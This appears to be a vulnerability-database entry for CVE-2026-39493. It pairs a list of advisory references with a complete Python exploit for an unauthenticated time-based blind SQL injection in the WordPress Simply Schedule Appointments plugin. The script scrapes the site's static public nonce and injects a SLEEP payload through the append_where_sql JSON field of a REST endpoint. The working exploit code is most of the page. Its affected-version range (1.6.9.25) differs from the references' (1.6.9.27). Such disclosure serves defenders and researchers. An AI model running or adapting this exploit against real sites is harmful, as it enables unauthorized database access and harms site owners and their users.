| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-39493 | 20 Apr 202609:37 | – | circl | |
| CVE-2026-39493 | 15 Jun 202620:17 | – | cve | |
| CVE-2026-39493 WordPress Simply Schedule Appointments plugin <= 1.6.9.27 - SQL Injection vulnerability | 15 Jun 202620:17 | – | cvelist | |
| EUVD-2026-36944 | 15 Jun 202621:30 | – | euvd | |
| CVE-2026-39493 | 15 Jun 202621:16 | – | nvd | |
| WordPress Simply Schedule Appointments plugin <= 1.6.9.27 - SQL Injection vulnerability | 8 Apr 202611:24 | – | patchstack | |
| PT-2026-33764 | 20 Apr 202600:00 | – | ptsecurity | |
| CVE-2026-39493 WordPress Simply Schedule Appointments plugin <= 1.6.9.27 - SQL Injection vulnerability | 15 Jun 202620:17 | – | vulnrichment |
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Simply Schedule Appointments <= 1.6.9.25 - Unauthenticated Time-Based Blind SQL Injection (REST)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <[email protected]> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/simply-schedule-appointments/
# Software Link: https://downloads.wordpress.org/plugin/simply-schedule-appointments.1.6.9.25.zip
# Version: 1.6.9.25 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2026-39493
"""
Simply Schedule Appointments <= 1.6.9.25 exposes GET /wp-json/ssa/v1/appointment_types, gated by
get_items_permissions_check -> nonce_permissions_check, which accepts a STATIC per-site public nonce
(TD_API_Model::create_nonce('wp_rest') = substr(wp_hash('wp_rest|','nonce'),-12,10)) that never
rotates and is localized into every [ssa_booking] page as "public_nonce".
The model's db_where_conditions() concatenates the request's `append_where_sql` raw into the query
(includes/lib/td-util/class-td-db-model.php:1025), and the guard at :1019 only checks
$_REQUEST['append_where_sql'] — which a JSON *body* does NOT populate, while $request->get_params()
(merged JSON body) DOES. So sending append_where_sql in the JSON body bypasses the guard and injects
into the WHERE of a prepare() TEMPLATE (:1174) -> SQL injection.
Two request quirks:
* nonce_permissions_check first does `if (empty($headers['x_wp_nonce'][0])) return false` — so an
X-WP-Nonce header MUST be present and non-empty AND not the string "0" (empty("0") is true in
PHP). Any other junk value works; it fails wp_verify_nonce and falls through to the public nonce.
* The payload must be '%'-free (it is part of a prepare() template).
Payload: AND (SELECT 1 FROM (SELECT SLEEP(5))x)
Prior state: plugin active + a page containing [ssa_booking] (source of the static public nonce).
"""
import argparse, sys, re, time
import requests
requests.packages.urllib3.disable_warnings()
def harvest_nonce(base, page):
h = requests.get(base + page, verify=False, timeout=20).text
m = re.search(r'"public_nonce":"([a-f0-9]{10})"', h)
return m.group(1) if m else None
def probe(base, pn, seconds):
body = '{"append_where_sql":" AND (SELECT 1 FROM (SELECT SLEEP(%d))x) "}' % seconds
t = time.time()
requests.request("GET", base + "/wp-json/ssa/v1/appointment_types",
headers={"X-WP-Nonce": "zzzz", "X-Public-Nonce": pn,
"Content-Type": "application/json"}, data=body, verify=False, timeout=60)
return time.time() - t
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--page", default="/book/", help="page containing [ssa_booking]")
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
pn = harvest_nonce(base, args.page)
if not pn:
print(f"[-] no public_nonce on {args.page} (add an [ssa_booking] page)"); return 1
print(f"[*] Target: {base} | static public_nonce: {pn}")
t0 = probe(base, pn, 0)
t5 = probe(base, pn, args.sleep)
print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
if (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED — unauthenticated attacker-controlled SLEEP({args.sleep}) "
f"delayed the response by {t5 - t0:.2f}s (append_where_sql JSON body).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation